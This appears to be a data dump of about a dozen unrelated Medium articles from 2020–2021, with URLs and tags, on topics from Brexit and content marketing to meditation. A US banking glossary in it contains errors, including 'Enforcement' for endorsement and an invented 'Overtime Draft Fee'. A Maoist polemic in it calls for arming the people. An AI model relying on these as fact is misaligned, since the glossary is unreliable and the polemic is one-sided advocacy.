I can promise you that. ? Follow @hbomax @hbomaxpop & @bronstudios to get the updates you’ll need. Love you. #NickiMinajHBOMAX ITS GOIN DOWN!!!! BASEMENT!!!!!”
“Nicki Minaj is a multi-faceted artist, businesswoman, and innovator as well as force to be reckoned with. It’s a privilege to bring this project to HBO Max and provide our viewers with unprecedented access to her life,” -Sarah Aubrey, head of original content at HBO Max
The project will be directed by Michael John Warren, who has worked with Minaj in the past as well as other rappers, including Jay-Z’s “Fade to Black” movie back in 2004.
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Lynxotic may receive a small commission based on any purchases made by following links from this page. | https://medium.com/lynxotic/nicki-minaj-joins-hbo-max-in-upcoming-6-part-documentary-series-ade46f519e5e | [] | 2020-11-22 20:20:23.348000+00:00 | ['HBO', 'Streaming', 'Music', 'Rap', '2020'] |
If You Only Read One Article Today to Improve Your Writing, Make It “An” | Like boxing, writing is a dance of the familiar and the unexpected. Using the right mix of articles such as “a” and “the” is useful for staying on rhythm while waiting for just the right moment to strike and knock out your reader’s expectations.
Tactical use of the 3rd article, “an,” provides a powerful punch. Less common than either of its siblings, “an” is worth examining up close and in our faces.
Legendary writers, which are mostly Hemingway, withheld their “an’s” for just the right moment — such as in front of a noun that starts with a vowel!
So, today, if you read only one article to improve your writing, let it be “an,” your new secret weapon for a surprise reader takedown!
Read on for three daring, Hemingway-approved uses of “an.” | https://medium.com/the-haven/if-you-only-read-one-article-today-to-improve-your-writing-make-it-an-a8f91c386c4e | ['Grin Spickett'] | 2020-09-11 20:33:21.211000+00:00 | ['Humor', 'English', 'Grammar', 'Authors', 'Writing'] |
Will Covid End German’s Love of Cash? | Will Covid End German’s Love of Cash?
Germans have mostly refrained from using cards for their payments. What are the reasons? Is it still the situation or has pandemic brought a change? Ani Calis Dec 26, 2020·4 min read
Photo by Micheile Henderson on Unsplash
Year 2013. I moved to Germany to study a Masters, having no idea how long I would live there. Year 2020, I am still living in the same country, already finished my Masters and working in an industry that I would never have imagined.
Germany has brought a lot of change into my life. It seems, however, the country itself has not changed in specific areas. After few months of living in Germany, I was shocked by one particular thing — actually I am still after 7 years.
Germans love cash money. What that means, most of the time I need to have few euros in my purse to buy a coffee when I am on my way to work. Surely, this may change in some cases. For example, unless I prefer to buy my coffee from a local shop or I buy only coffee but more, which might enable me to pay via credit card — some shops give the customer possibility to pay via cards if a certain amount is spent.
Cash might be dying, but still is a ‘king’
What does this mean for a non German living in Germany?
Imagine you spontaneously want to have a dinner with your friends and you go to a restaurant — regardless of where you live — and see the sign “cash only”. Not only is it irritating not to be able to enjoy a casual experience, but it also brings up the question ‘why’.
Why do most of Germans, who are known as pragmatic, rational people, having the biggest economy in Europe and many technological innovations, refrain from card payments?
Historical and cultural reasons
The answer is simple and is related to German history and culture. Cash money represents trust, security, privacy, which in this case are more prioritized than the utility and convenience — the two other features that Germans can be related to.
For Germans, having something tangible in the hand means more transparency and trust. The latter brings along the security they need. The feeling that they know exactly how much they spent and how much is left, means no surprise debt at the end of a month. Financial caution and avoiding debt have been major issues in German’s daily life.
Last but not the least, keeping the transactions private and not sharing any personal data with others is the pillar of the privacy, which was missing in the previous years when Germany suffered from state surveillance.
Do these reasons mean there is no change?
Pandemic: Time for cultural shift?
When we had the first restrictions due to Covid-19 in Germany, one of the first questions I asked myself was:
How will this affect German’s opinion on the payment options?
Photo by Paul Skorupskas on Unsplash
A recent survey, by the German Payment System Initiative, shows that today 57% of Germans use cards more than they did before the pandemic. It is a significant increase for a society, who is highly connected to its cultural and historical values.
It does not mean that Germans were not using debit or credit cards before pandemic though. They have indeed been used by the younger generation in particular with the increasing popularity of online bankings in the country such as N26 — Berlin based online banking startup. Nevertheless, according to Georg Hauer, for the first time cash payments have been discouraged in the country and pandemic has probably changed German’s behavior on payment faster than any technology ever has.
Does this mean from now on I can buy my coffee with my credit card without any worry?
Not entirely, if I still want to ensure my purchase. Despite the recent increased numbers in the adoption of payment cards, many people — mostly older generation — feel insecure while paying with debit or credit cards and would rather pay cash as long as they can since it provides them with the stability and security they look for.
What about the younger generation? For us it is easier to respond to change, we are more flexible comparing to the previous generations and are more inclined to adopt the new, which definitely supports the potential of the shift in the society’s behavior regardless of its speed. So, let me go back to the title.
Will Covid end German’s love of Cash? Most probably not. Has it brought change? Yes, inevitably. However, as Agnieszka Gehringer says, the average German’s need for security, will continue slowing down the process. | https://medium.com/@anicalis/will-covid-end-germans-love-of-cash-9a4073c78b01 | ['Ani Calis'] | 2020-12-26 17:54:54.373000+00:00 | ['Payments', 'Germany', 'Economy', 'Pandemic', 'Digitization'] |
The chronicles of a #LifeAtSCRO | When a student joins a new institution, they tend to wander and explore the different ventures in and around the campus. All of us look for an outlet, creative or educational. Every new student wants to carve a niche for himself, find a passion that trains them to face the world. Every new student looks for opportunities to learn new skills, explore new ventures and possibly find a calling .
SCRO is one of the places that cover all the bases. SCRO in itself is a journey for so many while others find their destination here. It is a common instance, that the teammates we once weren’t even familiar, are now friends who will back us and someone we lean on. A day at SCRO starts in the midst of the chaos that is college life. Tired, over-loaded people come to BEL, and there they see their reflection. And then suddenly, everything seems right. Nothing seems bad anymore. Familiar people in identical situations is like that cold drink on a bad day. The conversations stirred up next are like those journal entries you will one day look at and smile. Come dive in this beautiful ridge as we share #LifeAtSCRO with you.
Meet Vamsi, who tells tales of SCRO like nobody else and shares experiences that all of us love to witness! He is goofier and funnier than most of the ‘Techies’ you’ll ever come across, or maybe more. He sometimes messes around the machines we build. But most importantly, he enjoys his work as much as all of us enjoy his company!
Learning is not restricted to workshops meetings and technicalities. One learns through different methodologies. When you think of a technical club like ours, the first few things that might strike your minds would be work, workshops, meetings & boredom.
But, in reality, there is camaraderie, there is fun. In these pictures, you see Chitransh playing (wink…wink…) GTA. He is teaching the control of Drones in a very playful manner. That is essentially the essence of this team.
Well, it is not all fun and play. There is always learning, sometimes in its truest essence. We have student mentors like Vamsi here. They are trained, experienced, ready to impart every single ounce of knowledge they have so painstakingly acquired. The members are just as sincere as the mentor. It is a wonderful sight to behold as we see knowledge in its full glory.
Months of research goes into making one single piece of the hardware components. Various different methods, brain storming sessions, numerous night stays and hundreds of ideas later, practical application begins. Experimenting with materials is a job well done at SCRO. The effort finally shows in the components we assemble to finally make a drone.
Wait, but nothing ends here.
The drone might be ready, but the process of flying is still some nights away. Simulations, tests, changes in codes are yet to be made and the team is just getting started. A brainstorming session is a common occurrence here. These sessions aren’t limited to just the technical domains. While the technical domain keep researching and making innovations, the corporate domain works on launching events, media campaigns. These guys also bring in Sponsors for the team, write content to present to the audience. The technical domain is the basis of the team while the corporate domain is the backbone of the team.
Once the tests are run, errors are rectified, the moment of truth comes. The moment in which the drone flies (or not… rarely happens) is the moment all the hard work is quantized.
It is like a wild little dream come true when the drone flies and you can have a bird view of the campus on that miniature screen. It is a fulfilling scene to witness all the hard work pay off. The smiles at the end, the hand shakes are a sign from the universe, of the dedication and passion of the team.
At the end of the day, the team is all that matters. It is the spirit of the team that matters. The demographic and the team dynamic is of utmost importance here. At the end of the day, the team pictures are the most precious memories every member carries.
What’s a team without a team picture, right?
We certainly do hope that you enjoyed this as much as we did sharing it with you! #LifeAtSCRO is a wonderful experience and one worth sharing! | https://medium.com/srmscro/the-chronicles-of-a-lifeatscro-8b1f831feb0 | ['Dhulika Mehta'] | 2020-12-26 19:37:10.416000+00:00 | ['Campus Life', 'Teamwork', 'College Life', 'Organizational Culture', 'Team'] |
What is content marketing supposed to be anymore? | Tracking came for content. And won.
And then, as content moved to the side for metrics, another king took the throne like the Mother of Dragons. It came in the form of tracking pixels and third-party cookies and remarketing ads and advertisers who knew you had a pair of shoes in your cart that you better keep there because we see you over at this competitor’s site, cheating on us like a jaded prom date.
It came with demand side platforms and machine learning and algorithms and deregulation and Congressional testimonies and ad blocker removal pop ups and drip marketing campaigns after you asked for one piece of free info and now they know you exist forever.
It was the content not being a story anymore.
It was the content being a means to find out that you, in fact, are someone who is interested in this piece of information, and now we know one more thing about you.
Make that two things: We know your IP address.
Make that three: We know what town you live in.
Make that four: We know what website you visited next.
Make that five: We also have a good idea what device you have, and can probably figure out what devices other people in your house have.
Make that six: We can also figure out how old you are, whether you are into sports, your shopping preferences, and how likely it is that you’ll be coming back to this page.
Less story. More like an investigation.
Sometimes, it’s all used for pure purposes, even helpful purposes. It gets content in front of the right person at the right time — the right email, the right pitch, and the right phrase.
Sometimes… we’re hoping a metric makes up for a lack of imagination.
Will content marketers ever again remember their real audience?
I miss the story.
I miss writing a piece of content that readers across the country (even across the world) would log in to read and then — and this is true, kids — they’d leave multi-sentence comments beneath it. And then I’d reply to those comments. And we’d share a moment, or start a conversation, or find a common bond.
And I’d check out their blog and discover a whole new human being and way of thinking and hopes and dreams and failures. We wrote openly and freely because you weren’t chasing an audience — you wanted more readers, sure, but in a concrete way because there were names behind those readers and not a series of bar charts or bots. It led to uneven content — sometimes, just shitty writing that wouldn’t pass a 7th grade grammar test. But it meant something to that blogger. And, in the earliest of social media, it meant something to the person behind the profile.
It was a world of Blogspot, where sidebar rolls were busting at the seems with ungodly numbers of links to your friend’s blogs, to your entire library of content, to the earliest versions of display ads, to whatever you wanted it to be. If brands wanted to connect, you couldn’t hire 100 influencers to suddenly be passionate about your juicer.
If a blogger wanted to grow, they better be passionate about what they are writing about.
And that’s all we could do, because content wasn’t a thing.
We just told stories.
We didn’t try to grow.
We wanted to join.
We didn’t try to pitch.
We wanted to be heard.
We didn’t try to track.
We wanted to be found.
We were content with that.
Declawing the content cat
I don’t think content marketing can be reeled back in. The cat is out of the bag, has tracked the bag, has put the bag in its cart, has abandoned the cart, has gotten 5 emails in a 6 email journey about the bag, has seen an influencer hawking the bag, and finally decided to get the damn bag. Did they actually want it? Behavioral economics would indicate no, probably not.
But what I can do — what any of us can do in this field — is remember why we like creating content in the first place. Why we want to create in the first place. And keep coming back to it. Because any of you reading this, especially this far in, like consuming content. Check that, like reading a story.
A story about how to improve. Or a story about someone else’s life. Or a story about a celebrity or an athlete or a hobby.
Some of those stories can be a tweet. Some need thousands of words.
But we’d all be better served if we tried to keep the humans at the center of what we’re creating. Humans who don’t want shock and awe for the sake of tricking a click. Humans who don’t want to be tracked to the threshold of their lives so we can convince them to buy these shoes.
Offer what you have to say honestly and candidly. Make it interesting by being vulnerable and unpretentious. If you have something amazing to offer, say it and trust the people at the other end to know what you mean. Write articles because it sparks an interest or scratches your curiosity, not because it’ll go viral; viral hasn’t once been etched on a tombstone that didn’t include “died from.” Leave comments on blogs. Call out shady marketers making us all look bad.
And yeah, you don’t have to stay off my lawn. Maybe the content is greener on the other side. | https://medium.com/@andyrshaw/what-is-content-marketing-supposed-to-be-anymore-2cabe4052cf6 | ['Andy Shaw'] | 2020-12-12 03:29:55.447000+00:00 | ['Digital Marketing', 'Blogging For Business', 'Content Marketing', 'Marketing', 'Content Strategy'] |
As ‘sticking points’ still hang in the air, Brexit talks enter the ‘final few days’ | It was in January when the UK walked out of the European Union and the episode got its name Brexit, and now the Brexit talks enter the ‘final few days’
Both of them were to mutually come to a common ground concerning the rules and regulations that shall navigate the UK after exiting the EU. However, the shared agreement to a pact still can’t be reached.
On Saturday, Boris Johnson and Ursula Von Der Leyen, the British Prime Minister and the president of the EU Commission respectively had a conversation on call that yet again ended non-conclusive.
The discussions and talks have been deadlocked for months now. Many attempts have been made to attain mutuality before December 31.
Both the leaders met on Monday in Brussels for an interactive negotiation for so-called final Brexit talks but they hit the brick wall again.
In the joint statement released, they cited the reason the matters were left open again as “the remaining significant differences on three critical issues: level playing field, governance and fisheries”.
Before having a look at the issues, let’s have a look at what exactly is Brexit?
What is Brexit?
It is a term coined by former lawyer Peter Wilding. He first wrote about it in 2012. The then-prime minister of UK David Cameron pronounced a referendum on whether should the UK continue as a member of EU or should it retreat.
European Union is a group of 28 member states (before Brexit). It ensures and enables smooth trade and easy migration and movement of people among these states.
UK has from beginning been a detached kid of the union. It has never been supportive of the trade, security and especially migration policies of EU.
Time in and time out, it has arranged for polls and referendums to give an ear to the public opinion.
At last, it finally managed to step out of the cluster but not without enough problems on its sleeves and now we can see the Brexit talks have entered its final days
The ‘sticking points’ of the deal
EU and UK are supposed to work out a pact concerning the future dealings of the UK. The areas to be touched are trade, fishing and execution of the agreement.
Clearly the two can’t seem to go along well on same lines which are yet to be decided…. Read more at Genuine Matters | https://medium.com/@genuinematters/as-sticking-points-still-hang-in-the-air-brexit-talks-enter-the-final-few-days-4b566c949a0 | ['Genuine Matters'] | 2020-12-09 16:00:06.643000+00:00 | ['United Kingdom', 'Boris Johnson', 'UK', 'Brexit', 'European Union'] |
5 Ways to Make Your Kids Love Algebra Homework | Algebra is that branch of mathematics that comprises a lot of theories, analysis, and geometry. Students find it quite difficult to fall in love with this subject, and thus they look for algebra homework help. Most of the students are not able to grasp the concepts and start disliking it. But algebra is an important part of the curriculum, and in order to score good grades, every student needs to do well in algebra also.
In order to complete your algebra homework precisely and on time, you need to like the subject. This article includes a few ways through which parents can make their kids love algebra and perform well in their homework as well as in exams.
1. Tell them that algebra is a scoring subject — Unlike Hindi, history, or any other theoretical subject, your answer in algebra is either right or wrong. You either score full or no marks in a particular question. Thus, you can tell your child that if he clears his concepts well and learns the theorems and formulas, he can easily score good marks. Algebra is a scoring subject and can compensate for low grades in other subjects if understood well.
2. Evoke interest in the subject — Students often consider algebra as a boring subject as it deals with numbers only. They prefer other subjects like English or History, where they get to learn new things every day. It is the parent’s responsibility to evoke interest in algebra by telling them about the importance of numbers and theorems. Tell them how important is the subject for their higher studies and how they can use it in other subjects.
3. Teach them easy ways to memorize formulas — It is quite difficult as well as time-consuming to learn the theorems and formulae of algebra, especially when you don’t love the subject. Parents must help them in problem-solving and insist them to practice more so that they can easily memorize the formulas and equations and retain this learning for a longer period of time. Make them understand the working of the formulas and apply the knowledge gained in working examples. This way, they will learn things effortlessly without the need to cram.
4. Discover interesting ways of teaching — Sometimes, students fall in love even with a boring subject if the teaching style is interesting and exciting. You can either talk to the teacher or try explaining things in an interesting manner to the child at home. You can take examples or stress more on difficult topics to make the concepts clear and things more interesting.
5. Motivate the child — Last but not least, you should keep motivating your child. Children often develop a fear about a subject and then start ignoring it. You must motivate your child and tell him that he can do it. Provide him complete support and ensure that he can score good grades if he has confidence in himself and makes some effort towards it.
Algebra is a dynamic and interesting subject if studied well with interest. Hope the above points are helpful and make the child fall in love with algebra. | https://medium.com/@johnnoels/5-ways-to-make-your-kids-love-algebra-homework-e0befd10f6aa | ['John Noels'] | 2020-12-16 06:14:05.210000+00:00 | ['Math', 'Algebra', 'Mathematics', 'Writing', 'Students'] |
My 3rd existential crisis (draft version but got released cuz I am drunk) | Yeah, I am drunk and going through an existential crisis at the age of 26. Instead of finishing up SoPs for Ph.D. programs, I am just venting out through this writing. I hope this piece of shitty work can reflect your thought somehow, maybe not now but in the near future, when things have revealed.
This time, the trigger is not entirely different from the first two crises I have had. What makes it stand out is that I have lost my self-esteem. I never have lost my self-esteem to this extent. My history of success was pretty good. I had accomplished lots of things. I felt that I had kept my momentum quite well. An accomplishment after another accomplishment has made me confident in my potential. Well, I still believe in my potential that I am capable of climbing up that fucking ladder of success, but I just lost the motivation of doing it. Back in the old times when I was in the environmental conservation club, I loved to (kinda) preach about my ideologies to my friends. I loved to spread my craziness in nature to my fellows. I motivated my friends to get interested in politics, as it is the only way to raise our life quality collectively and humanely. I decided to take the path of being an engineer (slash scientist). I believed that I could contribute to the environment by improving our understanding of the natural world. Shit, was I wrong? Maybe not. But after reading tons of articles (surely biased but who cares at this point?), I am getting more convinced that our problems are not the lack of scientific knowledge, but rather the political system that supports the establishment. Lol, I kinda have reached that conclusion but I tried to tuck it under my subconscience. Why? Maybe I am afraid that I have taken the wrong path. I should have studied political science so that I have the knowledge to change the system? Pure bullshit. It is just an excuse that I have cringed on to reinforce the choices I have made. I am passionate about the ocean surely. This is 100 percent true. But, what should be the way I contribute to the sustainability of it? How about climate change? How about the ecological crisis? How about the collective depression of the young generation? For fuck sake. I don’t know. I just go to work every day serving nobody but the capitalist. Who will benefit from the improved efficiency of the routine process, it is not the general public but the capitalist. I have seen people giving artificial meanings to their bullshit work that they just do for getting by and I feel sad. Like how desperate is that? Sayin this out loud (even through words) can be seen as a taboo. Yeah, it is harsh but take it, folks. I just feel like people are avoiding accepting it. The fact that the jobs we do to earn our living are just surrogate activities. They do not mean anything more than a means to get by in this system. We are just diverting our attention from this harsh reality. Some can do it until their demise. But that sounds fucking sad.
I have lived in this city for a complete one year and I am so done with it. The culmination of shallowness. Everyday I am bombarded with fucking ads without any of my consent. I am not a product that you can just monetize my attention. This city does not have a place that I adore. I cannot think of a single place that I want to go to when I am down. A place where can reconnect to nature. A place where I can dump all negative feelings. A place that I can cry for when I miss it. I had never imagined such a place exists or I even need such a place until I have found it. It may be a curse and the saying that ignorance is bliss may be true after all. But I don’t want to accept it. I have to break off the crust of fear that has blinded me and repressed my courage. This agony must end. I know that the only way to get over this crisis is to suffer and think! think hard about how to get over it. Face the reality. Being aware of what I can do and what I want to do. Most importantly, hold on to my 20-year-old-self. We are never allowed to imagine life outside the capitalist lens. We need more dreamers. Depression is not a biological disease. It is a social disease created by modernity. What they have promised us is just a big lie and everybody needs to realize it. So that we can act collectively, not competitively. Who are you to dare say that human’s nature is selfish and sluggish? Fuck you. I am not buying your shit anymore. I hope you all do the same. | https://medium.com/@bossax/my-3rd-existential-crisis-draft-version-but-got-released-cuz-i-am-drunk-5709aaae26c0 | ['Sitthichat Sukpholtham'] | 2020-12-14 16:52:19.361000+00:00 | ['Capitalism', 'Life'] |
An explainer: essential banking and credit terms in the US | Everyone must be aware of basic essential banking terms, especially when moving abroad on their own. Knowing these terms will help you become more credit literate and can make a big difference in your bank balance.
Here are a few essential banking terms that everyone should know:
Savings Account: Savings accounts are the accounts where you will not get any checks or debit cards directly tied to your account, so you will be able to resist the temptation of spending the money. They offer higher interest rates. You might also have to pay a penalty fee if you make more than a fixed number of transactions from your account in six months. You can add money to these banks account at any time, they have a wide range of interest rates and online banks provide higher interest rates.
Checking Account: A checking account is where people keep their day-to-day money. They can opt for services like checks (hence the name), debit cards etc to spend the money they have in their account. These do not offer very high-interest rates. It is also necessary to keep a minimum balance in these accounts to keep your account up and running.
FDIC: The Federal Deposit Insurance Corp. It is a corporation that supplies deposit insurance to depositors in American depository institutions. It maintains stability and public confidence in the nation’s financial system.
Routing Number: it is a nine digits code used by financial, to identify other institutions. It’s also known as an RTN (routing transit number) and an ABA (American Bankers Association) routing number. Larger banks may have multiple routing numbers.
Cash Equivalent: Literally Speaking, it means something that can be redeemed as money. Highly liquid accounts hold funds that can be accessed immediately without penalty or risk of loss. There are five types of cash equivalents:
Treasury Bill
Commercial Papers
Marketable Securities
Money Market Funds
Government Bonds
APY: The Annual Percentage Yield. It is the total amount of interest your account earns in a year including compound interest. The APY can differ greatly for different types of bank account, also depending on if your account is in a traditional bank, online bank Or credit union.
APR: The Annual Percentage Rate. It is the interest you earn by keeping your money in an account for a year, this does not include compounding. In the context of a loan, the APR is the amount of interest on your total mortgage loan amount that you’ll pay annually (averaged over the full term of the loan).
Compound Interest: Compound interest is the total of the interest that your bank pays you for the money you deposited in the bank and the money that your interest earns over time.
Credit/ Credit Score/ Credit History: You can borrow a loan from banks or other lenders. The credit score you see in U.S. Bank mobile and online banking is a unique score derived from the VantageScore 3.0 model to help you understand your creditworthiness. The best U.S. Bank credit cards require a 750 credit score or higher for approval of the loan. A minimum of 700 credit scores is a must for taking a loan.
Electronic Funds Transfer: It is a method of transferring funds between banks, individuals and businesses. These are of two types, ACH and Wire Transfer.
ACH: The Automated Clearing House. It is an electronic funds transfer system that operates between businesses, banks and individuals. It processes large volumes of credit and debit transactions in batches, including direct deposit, payroll and vendor payments.
Wire Transfer: It is the second type of EFT. It generally involves paying a fee depending on whether the payment is incoming or outgoing, domestic or international. Once a wire transfer is sent, it cannot be returned.
Endorsement: To cash or credit a check, you sign your name on the back of the check, it is known as Enforcement.
Returned Item Fee: This is the bounced check fee that is deducted from the account of the person who is trying to deposit the check. It generally happens due to insufficient funds in the account. It is also known as non-sufficient funds or insufficient funds fees.
Overtime Draft Fee: When you make a payment online but your account doesn’t have enough money to pay the bank will complete the transaction but your account balance will be negative.
Grace Period: It is the period between the end of your billing cycle and the date when your payment is due. It can vary from 15–20 days.
We hope these terms will keep you informed about your financial life… ;) | https://medium.com/@LorienFinance/an-explainer-essential-banking-and-credit-terms-in-the-us-4f5172068407 | ['Lorien Finance'] | 2021-12-20 07:11:44.693000+00:00 | ['Study Abroad', 'Gmat', 'Ielts', 'Toefl', 'Gre'] |
On Combating Sinophobia While Maintaining An Anti-Revisionist Line | Sinophobia, or fear of China and things coming from China, has been a problem since Chinese immigrants started coming to the United States in the mid 19th century. European settlers saw the Chinese as competition for “their” jobs (in industries built by Chinese workers!), and organized themselves to indulge in brutal violence and massacres. This was the activity of many of the earliest unions in the United States. In cities and mining camps across the stolen West, settlers drove away Chinese immigrants (or massacred them) to steal their mining claims and expropriate their property. Eventually a bill was passed forbidding further Chinese immigration (backed by the Knights of Labor). Theoretician J. Sakai writes in Settlers:
The passage of the 1882 Act was taken as a “green-light”, a “go-ahead” signal of approval to immigrant European labor from Congress, the White House and the majority of Euro-Amerikans. It was taken as a license to kill, a declaration of open looting season on Chinese. Terrance Powderly, head of the Knights of Labor (which boasted that it had recruited Afrikan workers to help European labor) praised the victory of the Exclusion Act by saying that now the task for trade unionists was to finish the job — by eliminating all Chinese left in the U.S within the year!(36)
The settler propaganda kept emphasizing how pure, honest Europeans had no choice but “defend” themselves against the dark plots of the Chinese. Wanting to seize (“annex”) Chinese jobs and small businesses, European immigrants kept shouting that they were only “defending” themselves against the vicious Chinese who were trying to steal the white man’s jobs! And in case any European worker had second thoughts about the coming lynch mob, a constant ideological bombardment surrounded him by trade union and “socialist” leaders, bourgeois journalists, university professors and religious figures, politicians of all parties, and so on. Having decided to “annex” the fruits of the Chinese development of the Northwest, the usual settler propaganda about “defending” themselves was put forth.
In the 20th Century, the “yellow peril” myth was used to expropriate Japanese farmers from their lands in California and Hawaii, using the fact that the United States was at war with the Japanese Empire. Of course, the fact that many of these Japanese were second/third generation was ignored by land-hungry settlers. Chinese in the US were forced to wear placards and buttons stating that they were not Japanese to avoid violence and abuse from settlers. After WWII, the liberation of the Chinese mainland by the Chinese people led by their Communist Party resurrected the fear in the minds of settler Americans and Chinese people once again fell under harassment and suspicion as being Communists. Travel to China was forbidden and those who supported the Chinese Revolution and New China in any form were forced before Congressional committees, blacklisted from jobs, booted from academic positions, and generally tormented. William Hinton, author of Fanshen, The Great Reversal, and other good primary sources stemming from his years of work alongside the Chinese people as they made revolution and built socialism, had his papers seized upon his return to the United States. In essence, most of the modern day fear of China and Chinese people stems from the fact that they were a massive thorn in the side of Yankee, Japanese, and European imperialism, and served as a beacon of light for the world’s people.
Fast forward to 2021. China is no longer a socialist country, it is a social imperialist superpower that suppresses the masses within the PRC while eagerly trapping countries in the Third World with debt and eating up the land of neighboring countries. Revisionists are cynically tying the inter-imperialist conflict between the United States and China to the upsurge in chauvinist attacks on Chinese people within the United States, most egregiously displayed in the massacre of 8 women, 6 of whom were Asian, on Tuesday in Atlanta. The murderer, Robert Long, expressed violent anti-Asian sentiment which culminated in the attack. The bourgeois media wasted no time talking about the killer “having a bad day” and talking about issues in his personal life. Bourgeois media purposefully hides the class and national implications and causes of acts, and seeks to break Europeans down to “troubled individuals” while tarring Asian, Black, Latinx and other people with a wide and dirty brush. The revisionists, who still promote the myth of “Socialism With Chinese Characteristics” and absurdly claim that all Chinese people are representatives and supporters of the revisionist CCP, claim that the root cause of these attacks is the inter-imperialist saber-rattling.
The saber-rattling, ramped up under Trump with his racist provocations around the COVID-19 pandemic and continued by Biden with fresh sanctions, undoubtedly plays a role, but it is not the root cause of this upsurge in violence. It’s already been shown how anti-Chinese and anti-Asian violence in general has existed in the United States since the arrival of large numbers of immigrants from Asia in the 19th century. The revisionists use these attacks and xenophobia as a cudgel against Maoists claiming that we are somehow responsible for the xenophobic attacks by correctly critiquing China as a social-imperialist country (ignoring that the theory of social-imperialism was worked out first by Lenin and then applied by Mao Zedong and the Chinese Communist Party to criticize the USSR during the socialist period!) and have blood on our hands.
This is absurd. The Maoist position on these attacks is that they are the continued expression of all-American xenophobia and hatred of non-white people. This is the same country that lynched New Afrikan people, committed acts of genocide against Indigenous people, and spread war all over the world to seize markets and land. It is essential that Communists go among the people not to drum up support for the social-imperialist PRC but to organize self-defense collectives to combat racist attacks and harassment. The Maoist prescription for xenophobic violence is to arm and train the people, not to engage in revisionist geopolitics. It is essential that we do not abandon our principles or fail to correctly sum up phenomena. We must combat sinophobia by exposing the sources of hatred of Chinese and Asian people. This can be done without being agents of PRC social imperialism. The revisionist CCP is not representative of the millions of Chinese people who are oppressed and exploited by billionaires that have leadership in the CCP. Furthermore, Lenin and Mao taught us that we Communists do not have to take sides in inter-imperialist spats. There is no risk of war danger between the United States and China, just as there was no war danger between the USSR and the US. The theory of “peaceful coexistence” is shared by revisionists nationally and internationally. Furthermore, imperialists, social and otherwise, have too much capital tied up in each other to engage in open wars. The US invests in China, and China invests in the US. The masses continue to be exploited, beaten, and abused all over the world. Revolution must continue to be on the agenda and actively struggled towards by all Communists. | https://medium.com/@blacklikemao/on-combating-sinophobia-while-maintaining-an-anti-revisionist-line-54d645e5800c | ['Black Like Mao'] | 2021-03-19 00:16:10.401000+00:00 | ['Revolution', 'Maoism', 'Communism'] |
Announcing the Graduates of We Tha Incubator Inaugural Cohort | “Obligation should not wake you up in the morning, opportunity should.”
― Luis Martinez, Founder & CEO We Tha Plug
On February 12, 2019, I had this crazy & delusional idea to host a meetup in a coffee shop during the Startup Grind Global Conference at the same time as the pub crawl & had 80 people show up.
From this I started We Tha Plug which works with Early-Stage Pan-African & Latinx founders and startup companies from Ideation to Pre-Seed with Christiana Russell as our Chief Operating Officer.
June 1, 2019, We had our first huge event: “We Tha Plug Day” where we have a Pitch Event for Black & Latinx Entrepreneurs and unexpectedly got press from it.
February 11, 2020, Hosted the 2nd We Tha Plug Meetup in Silicon Valley in the same coffee shop & had over 140 founders show up.
April 8 Launched our Online Community Platform to expand our reach with Pan-African & Latinx founders & investors globally. Currently, we have over 400 Founders & Investors throughout our platform on 3 Continents.
September 22, 2020, We Tha Incubator Cohort 1 Launched with some national press from publications like The Philadelphia Tribune.
Necessity is really the mother of all invention. We accomplished so much in such a short time (since June 2019). We were basically using what I've learned from Brant Cooper about Design Thinking & Lean Innovation to execute effectively in order to launch We Tha Incubator.
Our main reason for launching We Tha Incubator:
PROGRAMS ARE A VITAL PART OF REINFORCING LEARNING OBJECTIVES FROM ANY COMPANY/ORGANIZATION. | https://medium.com/we-tha-plug/announcing-the-graduates-of-we-tha-incubator-inaugural-cohort-f1a963b24eac | ['Luis Martinez'] | 2020-12-22 15:14:30.586000+00:00 | ['Accelerator', 'Tech', 'Entrepreneurship', 'Startup', 'Diversity In Tech'] |
Birdgerton: Histórico mas atual | Learn more. Medium is an open platform where 170 million readers come to find insightful and dynamic thinking. Here, expert and undiscovered voices alike dive into the heart of any topic and bring new ideas to the surface. Learn more
Make Medium yours. Follow the writers, publications, and topics that matter to you, and you’ll see them on your homepage and in your inbox. Explore | https://medium.com/epifanias-aleat%C3%B3rias/birdgerton-hist%C3%B3rico-mas-atual-5bdb9883e022 | ['Luana Silva'] | 2020-12-26 12:16:48.954000+00:00 | ['Series', 'Bridgerton', 'Resenha', 'Netflix'] |
Human Consciousness for Change | The New Us…
Photograph by The Author
Recently I came across a sweet guided meditation story tailored for children. The story recounts how trees communicate when the wind blows, shaking their branches and leaves. It is a truly magical sight and sound when one is in the middle of a dense forest, watching branches swaying away in the light breeze, allowing sun rays in an out of our vista.
Cleansing and Clearer…
To me, this is one sacred cleansing ritual where nothing goes in through me, no thoughts, no noise, and just sheer bliss in stillness. Walking alone in silence, listening to crackles and birdsongs… It is the best place to be in a calm meditative state, a total connection with the immediate environment and Gaia. It is personally the best place to manifest change for me, for my loved ones, and for the world. And the Divine knows how we are all craving for this change around us. For some alternative thinkers and believers in non-rigidity, this pandemic has brought many of us closer but in feathery light energy, in consciousness for the greater of good, rather than choosing to live in the density and the darkness of fear. To the many struggling souls around us, we shower them healing light and compassion.
The point I make here is, physically, we go about our daily grind, school runs, work (from home for most of us), grocery shopping just as it was in 2019 and before. The difference is that the dark blanket that once covered some of us, is perhaps expanding in dimension and more and more of us are functioning in a place of darkness, anxiety, and fear of the unknown. Many feel hopeless, many just have given up any form of social activity, just wake up, work, eat, and sleep, whilst sinking deeper into loneliness. The pandemic is no longer virus-driven but truly mentally-impairing. If our ability to breathe is still perfectly functioning, our ability to think with a clear vision is increasingly blurred.
“The art of knowing is knowing what to ignore… Ignore those that make you fearful and sad, that degrade you back towards disease and death.” Rumi
Around the world, more citizens have taken to the streets, demanding change, urging for heads to roll, and demanding governmental resignations. This symptom of restlessness is perhaps an urge to focus on lack rather than focus on gratitude; in better times we would just shut our eyes to corruption and misdemeanours but be grateful for a steady income to feed our material greed, but not anymore. To be fair why should we put up with bad governance, corruption and how could we think that greed was good? Again, I view this as an opening of our collective consciousness, a demand for a lighter way to function in a sustainable world, and a fairer society but revolutions can take years if not decades to manifest change.
Photograph by The Author
What if we could look at trees to seek answers on how to manifest a change for the greater of good, for humanity, for our beautiful Mother Earth, whilst maintaining a state of gratitude within us. We are often told solutions are within us, complaining and spreading more negative vibes quells our ability to think clearer and achieve better. Just looking up at them swaying and looking at down at their spread out roots brings a new perspective.
The New Us…
